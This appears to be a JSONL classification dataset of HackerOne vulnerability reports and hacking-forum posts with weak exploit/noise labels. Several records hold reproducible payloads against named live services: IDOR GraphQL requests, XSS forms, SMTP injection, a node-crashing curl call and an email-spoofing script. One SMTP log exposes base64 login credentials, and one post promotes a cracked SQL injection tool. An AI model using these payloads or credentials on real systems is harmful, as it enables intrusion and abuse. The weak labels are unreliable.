-{"id": "19f4f1d838493ced1c41", "text": "[Insecure Direct Object Reference (IDOR)] IDOR allows an attacker to modify the links of any user\n\nHi team!\n\nI found an IDOR which allows to modify the links of any user.\nUsers can put their custom links or social media links on their profile, ex:\n\n{F1855366}\n\n##To reproduce this:\n\n- Replicate the following request by replacing it with your own authentication headers:\nYou must also put in the body of the request, in the parameter \"username\" the username that you want,  you can try my username: \"criptexhackerone1\".\nThis request will return in the response the links of any user profile with the \"id\" of each link.\n\n\n```\nPOST / HTTP/2\nHost: gql.reddit.com\nContent-Length: 62\nSec-Ch-Ua: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"\nX-Reddit-Loid:  * * ** * * * * * * * * * * ** * *  * * * * * * * * *  * * * * *  *\nSec-Ch-Ua-Mobile: ?0\nAuthorization: Bearer * * * * * * *  * * * * * * * * * * * * * * * * * * * * * * * * *  * * * * *  *\nContent-Type: application/json\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/531.36\nX-Reddit-Compression: 1\nX-Reddit-Session:  * * * * * * * * *  * * * * *  * * * * * * * * * *  * * * * *  *\nSec-Ch-Ua-Platform: \"Windows\"\nAccept: */*\nOrigin: https://www.reddit.com\nSec-Fetch-Site: same-site\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://www.reddit.com/\nAccept-Encoding: gzip, deflate\nAccept-Language: es-ES,es;q=0.9,en-US;q=0.8,en;q=0.7,bs;q=0.6,ja;q=0.5\n\n{\"id\":\"11a239b07f86\",\"variables\":{\"username\":\"*********\"}}\n```\n\n- When you get some \"id\" save it.\n- In the next request you have to put in the request body, in the \"id\" parameter the previously saved id, you can also change the name and the link:\n\n```\nPOST / HTTP/2\nHost: gql.reddit.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20000101 Firefox/101.0\nAccept: */*\nAccept-Language: es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nContent-Length: 173\nX-Reddit-Loid: * * * * * * * * *  * * * * *  * * * * * * * * * *  * * * * *  *\nX-Reddit-Session: * * * * * * * * *  * * * * *  * * * * * * * * * *  * * * * *  *\nX-Reddit-Compression: 1\nOrigin: https://www.reddit.com\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-site\nAuthorization: Bearer * * * * * * * * *  * * * * *  * * * * * * * * * *  * * * * *  *\nReferer: https://www.reddit.com/\nTe: trailers\n\n{\"id\":\"c558e604581f\",\"variables\":{\"input\":{\"socialLinks\":[{\"outboundUrl\":\"https://www.hackerone.com\",\"title\":\"hacker\",\"type\":\"CUSTOM\",\"id\":\"* * * * * * * * *  * * * * *  * * * * * * * * * *  * * * * *  *\"}]}}}\n```\n- Finally re-enter the victim's profile and you will see the modified links. It is important to mention that you may have to reload the page a few times or wait a few seconds.\n\n## Impact\n\nA real attacker can modify the name and content of any user's social links. It is important to add that social links are something main in user profiles, if an attacker exploits this with all reddit users it could be devastating.\n\nBest Regards!!!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e65a3c79653996bb5b63", "text": "[Cross-Site Request Forgery (CSRF)] CSRF to ATO at https://█████/user/account [HtUS]\n\nhello dod security team today while i was doing pentest on your scope\ni came across\nhttps://████████/user/account\nso i register and after that tried to edit my data and the data was in json request\nso i simple change content-type to\ncontent-type application/x-www-form-urlencoded\nand the data was change\nand in the next step i create html file \nto edit users data with \n0 click \nwhich allow me to change victim email and leads to account takeover\ncheck my html poc file and video\n\n## Impact\n\naccount takeover", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "270b338b60894f57afb0", "text": "[Insecure Direct Object Reference (IDOR)] IDOR able to buy a plan with lesser fee\n\n## Summary\nIDOR allows you to pay with the same amount but different currency. For example, paying 35000$ instead of 35000€\n\n## Steps To Reproduce\n1. Go to `https://account.mailpoet.com/` and select a plan\n2. For example I have selected this plan; `https://account.mailpoet.com/orders/new?p=214`\n3. Now, as you can see payment currency is euro (33600€)\n\n{F1882065}\n\n4. Add `cur` parameter as `usd` like `{F1882070}https://account.mailpoet.com/orders/new?p=214&cur=usd`\n5. And now, we can buy it as 33600$ instead of 33600€\n\n{F1882070}\n\n##Suggested solutions\nAdd an Dollar/Euro converter to your payment system\n\nCheers,\n@h1ugroon\n\n## Impact\n\nAny user can pay a fee with a different value but the same root number instead of euros. For example, for a €33600 transaction, the fee difference is about $107, but the reason for this is the recent increase in the dollar. The user's profit rate varies according to the value of the money. About 1 month ago, this profit rate is around 630 dollars. Although this is not a critical problem, it is a vulnerability that reduces the profit margin", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b09ae7271ed04d2e299f", "text": "[Open Redirect] Attachment references in markdown don't warn before downloading\n\n**Summary:**\nBy default if any link of report is clicked, There will be a popup to user \nthat you're visiting a third-party website please proceed at your own risk etc. \nHowever, when a user views the report all links are non clickable and file URI is appended. \nI have Found out that I can bypass this functionality by appending a \" and ) in the end . \nFor example if you view this link  as PDF and click the link it will simply redirect you to the URL. \n\nthere will be a popup,  That you are visited a third party domain etc.\n**Description:**\n\n### Steps To Reproduce\n\n1. create a H1 report with the following payload \n\n(https://example.com\") \n\n2. view the report click export and view as pdf\n3. hover the link and click . \n4. observe that you are directly redirected without any warning of going to third party domain. \n\n### Optional: Your Environment (Browser version, Device, etc)\n\n * \n\n### Optional: Supporting Material/References (Screenshots)\n\n *\n\n## Impact\n\nBy using this vulnerability an attacker might be able to get a victims IP address , make them login etc.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "60b7cd7ca05b1d5a5d82", "text": "Well i found that %26%26 (&&) is not blocked but i can’t see the ls output. I am getting the “error while moving”, instead of the “malicious request”, i am injecting a command (l’s’) but no luck finding the ls command output. I used this:", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-08-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5fa3e2f0b931ee89c569", "text": "[Cross-site Scripting (XSS) - Reflected] XSS on about:tbupdate\n\nHello,\nIt appears that there is an XSS vulnerability on the about:tbupdate page.\n\nSteps to reproduce:\n1. Visit: about:tbupdate?javascript:alert(1)\n2. Click on 'visit our website'\n\nBecause the page is a privileged one (given it cannot be opened from a normal web page) this XSS may lead to a more severe issue. I will post a reply if I find a way to to do either of two things, first being finding a way to open privileged about: pages from normal content and secondly, I will check to see if there are any privileged javascript functions I could execute to achieve a bigger issue.\n\nThank you", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "39417a7c3c38cb12c291", "text": "[Cross-site Scripting (XSS) - Stored] [h1-2102] Stored XSS in product description via `productUpdate` GraphQL query leads to XSS at handshake-web-internal.shopifycloud.com/products/[ID]\n\nThis is most likely going to be a duplicate, so I'll keep it short.\n\nA stored cross site scripting vulnerability exists at `handshake-web-internal.shopifycloud.com` through the `product description` field.\n\n## Recruirements\n\nA shop with the Handshake plugin enabled and set-up\n\n## Reproduction steps\n\n1. Add a product in your store with the following description (make sure to click the < > button first so you can enter HTML):\n\n> <img src=x onerror=prompt(document.domain)>\n\nthen set it to `Active`:\n\n{F1169545}\n\n2. Go to your Handshake portal, pick a price and a category to publish the item:\n\n{F1169544}\n\n3. Check your item in the on the handshake website, XSS will pop up after +/- 3 seconds:\n\n{F1169546}\n\n(I removed the PoC for obvious reasons, please do the same when triaging or everyone will submit)\n\n## Impact\n\nArbitrary javascript execution (stored) on a shared domain", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "439e8532a51327268731", "text": "I am also having issue with the final assessment. I didn’t think to take notes when completing the earlier labs. I have gathered from reading the threads that Harry Potter was the employee we found earlier. I have tried to go back into that lab to see what the password requirements were and any other clues etc. But it will not let me back onto that page, perhaps because I already completed with and input the flag? I tried using CUPP with Harry and Harry Potter. I also used the usernameGenerator with Harry Potter and have tried hyrda attacking ssh with those two lists I generated. Can someone help point me in what I am missing please?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7438962e68eef4ad8c05", "text": "[Privilege Escalation] EMAIL SPOOFING\n\nHey KHANACADEMY,\nI have found Email Spoofing type of Vulnerability in your Website.\nAttacker can use your E-Mail to send emails to others.\n\nEmail spoofing is the creation of email messages with a forged sender address. Because the core email protocols do not have any mechanism for authentication, it is common for spam and phishing emails to use such spoofing to mislead the recipient about the origin of the message\n\nNot Only contact@khanacademy.org involved in it, All the Emails develop in https://www.khanacademy.org/ may be affect by it...\n\nSteps to Produce this Issue:\n1) Goto: https://emkei.cz/\n2) Add contact@khanacademy.org \"From Email\" in https://emkei.cz/\n3) Click Send Button,\n4) The Email from contact@khanacademy.org will be send to the Email you enter.\n\nAnother way,\n<?php\n$to = \"hackthedevil@weareonhackerone.com\";\n$subject = \"Email Spoofing Test\";\n$txt = \"This is Email Spoofing\";\n$headers = \"From: contact@khanacademy.org\";\nmail($to,$subject,$txt,$headers);\n?>\n\nSave this code in PHP file, & upload it on online server, Execute it & you can see The email will be send to your Desired Email\n\nSee Screenshots below, I received Email from your website.\n\nFix:\n1.Improve Your Mailer, Turn on some more Security filters.\n2. DMARC Policy Not Enabled-This Warning indicates that the DMARC record for this domain is not currently protected against phishing and spoofing threats. To resolve this Warning you will need to set a Quarantine or Reject policy on the domain's DMARC record. Setting a Quarantine or Reject value will prevent fraudsters from spoofing the domain as mail servers will Quarantine or Reject messages that fail authentication tests. (CHECK IT ON- https://mxtoolbox.com/SuperTool.aspx?action=mx%3akhanacademy.org&run=toolpage# )\n\nRead More about Email Spoofing here:\nhttp://searchsecurity.techtarget.com/definition/email-spoofing\n\n## Impact\n\nIT CAN BE USED TO STEAL USER DATA AND FAKE PAYMENT AND COSTUMERS.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6f5ad3dea2c541eaa2c8", "text": "[Violation of Secure Design Principles] Ability to perform various POST requests on quantopian.com as a different user - insecure by design.\n\n##Summary:\nDue to excessive control of victim's UI over algorithm collaboration feature one is able to force algorithm collaborator to issue malicious POST requests.\n##Description:\nHello again my favorite VDP! WebSockets again. Following vulnerability can be abused to attack a person that we collaborate on same algorithm with. \nTo understand underlying root of the bug we should review 2 features.\n\n----------------------------------------------------\n**First feature** is \"Build algorithm\" button that checks code for mistakes and quickly builds your algo in IDE.\n{F770716}\nWhen you press this button, you issue POST request to `https://quantopian.com/algorithms/ALGO-ID/validate` like this\n{F770723}\nThis request body contains code of algorithm, algorithm id, runtime and dates of backtest. It is meant to check if code contains errors, i think. \n**What is important about this feature?**\nImportant thing is, it takes user-supplied parameter into URL. To be precise, algorithm IDE page's HTML contains such element - `algo-id`:\n{F770728}\nWhen we press aforementioned button, \"Build Algorithm\", URL is taking ALGO-ID from this element. So if we manually switch this  `algo-id` html element's value to \"abracadabra\" and press the \"Build Algorithm\" button, we will automatically issue POST request to `https://quantopian.com/algorithms/abracadabra/validate`. We will get back to this soon.\n\n----------------------------------------------------\n**Second feature** is collaboration websockets library's event called `form-update`. We can issue this event when we update any input fields, like algorithm code or backtest dates. For example, when we switch algo from US Futures to US Equities here:\n{F770751}\nwe automatically issue websocket request like this:\n{F770754}\nBy fuzzing with this form-update evenet i found out that with this websocket command we can set our own value to any html element that has `value` attribute. For example, if we issue such WS reuqest (take a look at \"value\" key):\n```json\n{\"type\":\"form-update\",\"element\":\"#algo-id\",\"value\":\"hello\",\"clientId\":\"x\",\"roomId\":\"5ce6e50b298f7c6e0acb68c6\"}\n```\nit will result in following HTML:\n{F770767}\nNote: since this is a request we issue over websockets, such HTML will be in all collaborators' pages\n----------------------------------------------------\n**Chaining two features together**\nWe can chain these 2 features to achieve some results here. For example we'll take security feature that is located at https://www.quantopian.com/account#security - email notification when your account is logge into from a new browser\n{F770788}\nThis is how request would look if we wanted to turn it on:\n{F770801}\nActually, the payload doesn't have to be in request body, it can also be in URL of the request. So request like this will return HTTP 200 OK code as well:\n{F770805}\nMoreover, URL takes first place when server analyzes request, so even if there is uninterpretable garbage in POST request body, if POST request's url parameters are correct, they will be parsed properly.\nThis is crucial for this bug.\n\nNow, let's remember that:\n-  ../../../../ on linux means previous directories.\n- # will mean like comment in code - if it's wrong, just skip it :)\n\nAnd finally, **exploit**:\nLet's issue websockets request like this:\n```json\n{\"type\":\"form-update\",\"element\":\"#algo-id\",\"value\":\"/../../../../../users/update_preferences?prefs%5Bsend_login_detected_email%5D=false\",\"clientId\":\"x\",\"roomId\":\"5ce6e50b298f7c6e0acb68c6\"}\n```\nOur HTML (and our victim's) will look like this:\n{F770819}\nAnd when we our our victim will press on \"Build algorithm\", he will issue this request\n{F770822}\nWe don't care about request's body since the url and supplied parameters are working properly. This will result in our victim himself turning off email notifications of new logins.\n\nAnother example, but with several parameters:\n```json\n{\"type\":\"form-update\",\"element\":\"#algo-id\",\"value\":\"/../../../../../users/upd", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0fb6e33b59f969d080b1", "text": "Hi Swindler, I’ve been trying all different ways the past week. Can you share how you were able to dump the contents of the flag in an error msg? I’m clicking on the Move folder, then injecting my command after the “to=” on the GET request. I’m getting different error messages, but it’s only showing exactly what I type in instead of the contents of the flag. Please help!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-04-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5ddee50d8e9df416c55e", "text": "me too .But I got the next flag. I entered his backstage and got the next flag, indicating that the backstage can be broken", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-12-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "17592588cca2003ae1cb", "text": "image 876×261 22.4 KB You are getting this error because you haven’t entered the correct IP click on the Spawn Target then the system will give you an IP try to do ssh with that IP.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7d3405069643fbf3aad9", "text": "[Uncontrolled Resource Consumption] RPC call crashes node\n\n## Summary:\nPassing a large list of amounts to the `get_output_distribution` call crashes a remote node, after maybe 90 seconds of keeping it busy.\n\n## Releases Affected:\n\n  * Probably all\n\n## Steps To Reproduce:\n```\nvalues=`echo $(seq 0 500 900000)|sed -e 's/ /,/g'` ; curl http://127.0.0.1:38081/json_rpc -d '{\"jsonrpc\":\"2.0\",\"id\":\"0\",\"method\":\"get_output_distribution\",\"params\":{\"amounts\": ['$values'], \"from_height\": 100, \"cumulative\": false}' -H 'Content-Type: application/json'\n```\nReduce the 900000 number a bit and instead of crashing the daemon, it'll do a denial of service, like 90 seconds per call, making it hard for anyone else to use that call.\n\n\n## Supporting Material/References:\n\n  * Unnecessary. The attack is  straightforward and compelling.\n\n## Housekeeping\n\nPayment address: ████\n\n## Impact\n\nAn attacker can crash any remote node that exposes `get_output_distribution` or tie up availability of that function call. I think that's serious.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5f9f18a6c6c788376eac", "text": "[CRLF Injection] SMTP Command Injection in Appointment Emails via Newlines\n\n## Summary:\nUsers can create appointment calendars for other users to book slots on their calendar. When booking a slot, the following request is made:\n\n```\nPOST /apps/calendar/appointment/1/book HTTP/2\nHost: 192.168.92.132\n\n{\"start\":1647306900,\"end\":\"1647307200\",\"displayName\":\"Test User\",\"email\":\"<BOOKING USER'S EMAIL>\",\"description\":\"Please accept!\\r\\n\",\"timeZone\":\"Asia/Singapore\"}\n```\n\nNext, a confirmation email with a confirmation link is sent to the user who booked the slot via `/var/www/nextcloud/apps/calendar/lib/Service/Appointments/BookingService.php` using the SMTP connection.\n\nThe SMTP connection involves the following messages:\n\n```\nEHLO nextcloud40gb\n250-smtp.gmail.com at your service, [116.89.6.224]\n250-SIZE 35882577\n250-8BITMIME\n250-STARTTLS\n250-ENHANCEDSTATUSCODES\n250-PIPELINING\n250-CHUNKING\n250 SMTPUTF8\nSTARTTLS\n220 2.0.0 Ready to start TLS\nEHLO nextcloud40gb\n250-smtp.gmail.com at your service, [116.89.6.224]\n250-SIZE 35882577\n250-8BITMIME\n250-AUTH LOGIN PLAIN XOAUTH2 PLAIN-CLIENTTOKEN OAUTHBEARER XOAUTH\n250-ENHANCEDSTATUSCODES\n250-PIPELINING\n250-CHUNKING\n250 SMTPUTF8\nAUTH LOGIN\n334 VXNlcm5hbWU6\naGFja2Vyb25ldGVzdDEyMzRAZ21haWwuY29t\n334 UGFzc3dvcmQ6\nZHZob3Z1a3h0aWJrd2JhYg==\n235 2.7.0 Accepted\nMAIL FROM:<hackeronetest1234@gmail.com>\nRCPT TO:<BOOKING USER'S EMAIL>\nDATA\n250 2.1.0 OK u10-20020a056a00124a00b004f783abfa0esm10187854pfi.28 - gsmtp\n250 2.1.5 OK u10-20020a056a00124a00b004f783abfa0esm10187854pfi.28 - gsmtp\n354  Go ahead u10-20020a056a00124a00b004f783abfa0esm10187854pfi.28 - gsmtp\n\n.\n250 2.0.0 OK  1647162315 u10-20020a056a00124a00b004f783abfa0esm10187854pfi.28 - gsmtp\nQUIT\n221 2.0.0 closing connection u10-20020a056a00124a00b004f783abfa0esm10187854pfi.28 - gsmtp\n```\n\nUnfortunately, as newlines and special characters are not sanitized in the `email` value in the JSON request, a malicious attacker can inject newlines to break out of the `RCPT TO:<BOOKING USER'S EMAIL>` SMTP command and begin injecting arbitrary SMTP commands. Using several properties of the email RFC, an attacker can craft a payload that passes both the PHP validation of the email and the SwiftMail injection. These commands vary depending on the backend email server (Gmail, Outlook, local SMTP server) and thus can have different impacts, such as changing the `MAIL FROM` user, running sensitive commands like `QUEU` to view the current view, and so on. The errors in SMTP are returned in the response, thus making this a non-blind injection.\n\nFor example, an attacker can inject a simple `EHLO a` command to view information about the backend server:\n\n```\n{\"start\":1647306900,\"end\":\"1647307200\",\"displayName\":\"Test User\\r\\n\",\"email\":\"\\\">\\r\\nEHLO a\\r\\nRCPT TO:<a@a.com>\\\"@b.com\",\"description\":\"Please accept!\\r\\n\",\"timeZone\":\"Asia/Singapore\"}\n```\n\nWhich for Gmail would return:\n\n```\n{\"status\":\"error\",\"message\":\"Could not send mail: Expected response code 354 but got code \\\"250\\\", with message \\\"250-smtp.gmail.com at your service, [116.89.6.224]\\r\\n250-SIZE 35882577\\r\\n250-8BITMIME\\r\\n250-AUTH LOGIN PLAIN XOAUTH2 PLAIN-CLIENTTOKEN OAUTHBEARER XOAUTH\\r\\n250-ENHANCEDSTATUSCODES\\r\\n250-PIPELINING\\r\\n250-CHUNKING\\r\\n250 SMTPUTF8\\r\\n\\\"\",\"data\":{\"type\":\"OCA\\\\Calendar\\\\Exception\\\\ServiceException\",\"message\":\"Could not send mail: Expected response code 354 but got code \\\"250\\\", with message \\\"250-smtp.gmail.com at your service, [116.89.6.224]\\r\\n250-SIZE 35882577\\r\\n250-8BITMIME\\r\\n250-AUTH LOGIN PLAIN XOAUTH2 PLAIN-CLIENTTOKEN OAUTHBEARER XOAUTH\\r\\n250-ENHANCEDSTATUSCODES\\r\\n250-PIPELINING\\r\\n250-CHUNKING\\r\\n250 SMTPUTF8\\r\\n\\\"\",\"code\":250,\n```\n\nThis leaks the backend IP addresses, SMTP server data, and so on.\n\n## Steps To Reproduce:\n\nNote: Email sending should be set up in the admin settings.\n\n  1. At https://<NEXTCLOUD IP>/apps/calendar, select the plus sign beside \"Appointments\" on the left sidebar and create an appointment calendar.\n  2. As another user, go to the link to the appointment booking for that calendar.\n  3. Fill up a booking and intercept the request. Change the `ema", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7383dbab97836d346507", "text": "[Cross-site Scripting (XSS) - Reflected] POST BASED REFLECTED XSS IN dailydeals.mtn.co.za\n\n## Summary:\nDear Team ,\nI have found a post based reflected XSS in https://dailydeals.mtn.co.za/ .\n\n## Steps To Reproduce:\n\n1.Create a html file with following content .\n\n<form action=\"https://dailydeals.mtn.co.za/index.cfm?GO=CRAVE_ESTABLISHMENTS_LIST\" method=\"POST\"><input type=\"hidden\" name=\"location_id\" value=\"0\"><input type=\"hidden\" name=\"suburb\" value=\"0\"><input type=\"hidden\" name=\"search_phrase\" value=\"\"><input type=\"hidden\" name=\"submit_search\" value=\"Search\"><input type=\"hidden\" name=\"m\" value=\"\"><input type=\"hidden\" name=\"cpID\" value=\"\"><input type=\"hidden\" name=\"CFID\" value=\"a611fd5d-822a-4c08-a032-bcac1551f032'&quot;<!--><Svg OnLoad=(confirm)(1)-->\"><input type=\"hidden\" name=\"CFTOKEN\" value=\"0\"></form><script>document.forms[0].submit()</script>\n\n2.Open the HTML file in any web-browser. \n  \n3.Cross site Scripting will be triggered .\n\n## Impact\n\nAttacker can exploit this vulnerability to steal users cookies , redirect them to arbitrary domain and perform various attacks.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c93e2d8570f9cb0d5ef0", "text": "[Business Logic Errors] Asset Inventory Internal Descriptions are leaked in CSV export\n\n**Summary:**\n\nHey team,\n\nI was looking at the new Asset Inventory functionality and it looks like as a program I can set an Internal asset description\n\n███\n\nThis internal description is meant to be private and can't be seen on the scope page: (https://hackerone.com/█████). \n\nHowever, if you export the CSV then it leaks this internal description information\n\n**Description:**\n\n### Steps To Reproduce\n\n1. Navigate to https://hackerone.com/██████████\n2. Click the Export to CSV button\n3. In the CSV you should see `Internal Description For ES` next to the █████████████ scope item\n\n## Impact\n\nPrograms are assuming this asset information is indeed internal and may be storing sensitive information such as internal paths/credentials/etc in this description.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "28bcfea41eafe31e379c", "text": "[Unknown] HTML injection at Company Name or Product Name and can be shown on Contact Sales form\n\nThere is a stored Cross-Site Scripting (XSS) vulnerability in the LinkedIn Lead Gen Form, specifically in the Company Name and Product Name fields. The vulnerability allows attackers to inject specific HTML elements, enabling them to change the appearance of a page, which can lead to Phishing attacks via the `<a>` tag or Malware download links via the `<a>` tag. The affected HTML elements include `<strong>`, `<em>`, `<a>` (only if it is a HTTPS link), `<ul>`, `<ol>`, `<sub>`, `<br>`, and `<sup>`. This vulnerability poses a significant risk as it can be leveraged for phishing attacks and spreading malware. It's important to note that this issue occurs when naming a company or product with the payload before proceeding to the Lead Gen form. JavaScript is not possible in this context, and no `<script>` tags are allowed.\n\n## Steps to Reproduce:\n\n1. Create a new LinkedIn account or log in to an existing one.\n2. Navigate to the \"Companies\" section on LinkedIn and add a new company.\n3. Name the company using a payload containing the XSS vector using one of the allowed HTML elements, for example:\n```<a href=\"https://malicious-site.com\">Click me!</a>```\n4. Save the company details and proceed to the \"Contact Us\" Lead Gen form for the company.\n5. Observe that the XSS payload remains intact in the \"Company Name\" field.\n\nOR\n\n1. Create a new LinkedIn account or log in to an existing one.\n2. Navigate to the \"Products\" section on a Company's page and add a new product for the company.\n3. Name the product using a payload containing the XSS vector using one of the allowed HTML elements, for example:\n```<a href=\"https://malicious-site.com\">Click me!</a>```\n4. Save the product details and proceed to the \"Contact Us\" Lead Gen form for the product.\n5. Observe that the XSS payload remains intact in the \"Product Name\" field and, if applicable, in the \"Company Name\" field as well.\n\n## Expected Results:\n\nThe Company Name and Product Name fields should sanitize any injected HTML elements, preventing XSS attacks. Users should not be able to inject payloads into these fields, and any suspicious HTML elements should be neutralized.\n\n## Actual Results:\n\nThe Company Name and Product Name fields are vulnerable to stored XSS attacks through the allowed HTML elements.\n\n## Impact\n\nThis vulnerability can be exploited by malicious actors to perform phishing attacks or to spread malware.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5262411548c0b79b8e34", "text": "How to bruteforce dahua dvr password\n\nHow to crack Dahua DVR password, we have already used Hydra tool, Metasploit, Routersploit, and Burpsuite Pro, but nothing worked It’s pentesting scenario and we are in the same DVR network, without any IDS or IPS or firewall just simple network Any recommendations?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-10-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ddb1dc00490484ebce8c", "text": "[Improper Access Control - Generic] Invitation Email is resent as a Reminder after invalidating pending email invites\n\nHello Team , I have found an issue through which unwanted users can be added to victim's workspace inside *.cloud.mattermost.com  .\n\nSo I have created an workspace with my email id , let's say email1 and invited email2 to my workspace . Email2 is not having an account at mattermost , So email2 will be a fresh account. But I noticed that there is no option present to cancel the invite . This will lead to the issue . Let's see this in detail -\n\nReal life case - Suppose a victim has invited someone to the workspace by putting email id but later on victim decided to withdraw the email id but there is no such option present due to which attacker can now join the workspace which leads to info disclosure . Also victim can mistype the email while inviting but victim now can't withdraw that email invite.\n\nMitigation - There should be an option present to cancel the invite sent to any email.\n\nSteps to reproduce -\n1) create account at mattermost and then create a workspace for yourself inside -  *.cloud.mattermost.com\n2) now invite email2 (email2 is not having account at mattermost) by invite option\n3) now you will notice that there is no way present to cancel the invite\n4) now email2 can easily join the workspace\n\n## Impact\n\nUnwanted users can join the workspace leading to information disclosure.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e286624d087bbeb751ad", "text": "SQLI Dumper v.10.4 Full Clean + Video (All other sources are fake contains malware)\n\n846×558 125 KB Video: Download: HACKING CRACKING SECURITY SEO MARKETING MMO SQLI Dumper v.10.4 Full Clean + Video (All other sources are fake contains... https://vimeo.com/746983244 Download Here VirusTotal Password Unrar is 1 VirusTotal: virustotal.com VirusTotal VirusTotal Password Unrar is 1", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-09-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f339f122ac945545d74f", "text": "[Unknown] (CVE-2023-32003) fs.mkdtemp() and fs.mkdtempSync() are missing getValidatedPath() checks\n\nhttps://hackerone.com/reports/2037887\n\nhttps://nodejs.org/en/blog/vulnerability/august-2023-security-releases#fsmkdtemp-and-fsmkdtempsync-are-missing-getvalidatedpath-checks-lowcve-2023-32003\n\nPatch was provided.\n\n## Impact\n\nSee reports", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-32003"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d9489938a635abc333c5", "text": "[Information Disclosure] User files is disclosed when someone called while the screen is locked\n\n## Summary:\nUser files in the server is disclosed while the screen is locked when someone called. \n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n1.) Make 2 Accounts, Lets call them Account A and Account B\n2.) Using Account A login to (https://nextcloud/apps/spreed/)\n3.) Using Account B login to NextCloud Talk App in your Phone and Lock the Screen\n4.) Using Account A call Account B\n5.) Using Account B accept the call and click the Message or SMS icon in the bottom left\n6.) Attach a file and Press share from your nextcloud server\n7.) You can see the user files\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n████\n\n## Impact\n\nA malicious attacker can see the user files by calling the phone while the screen is locked.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
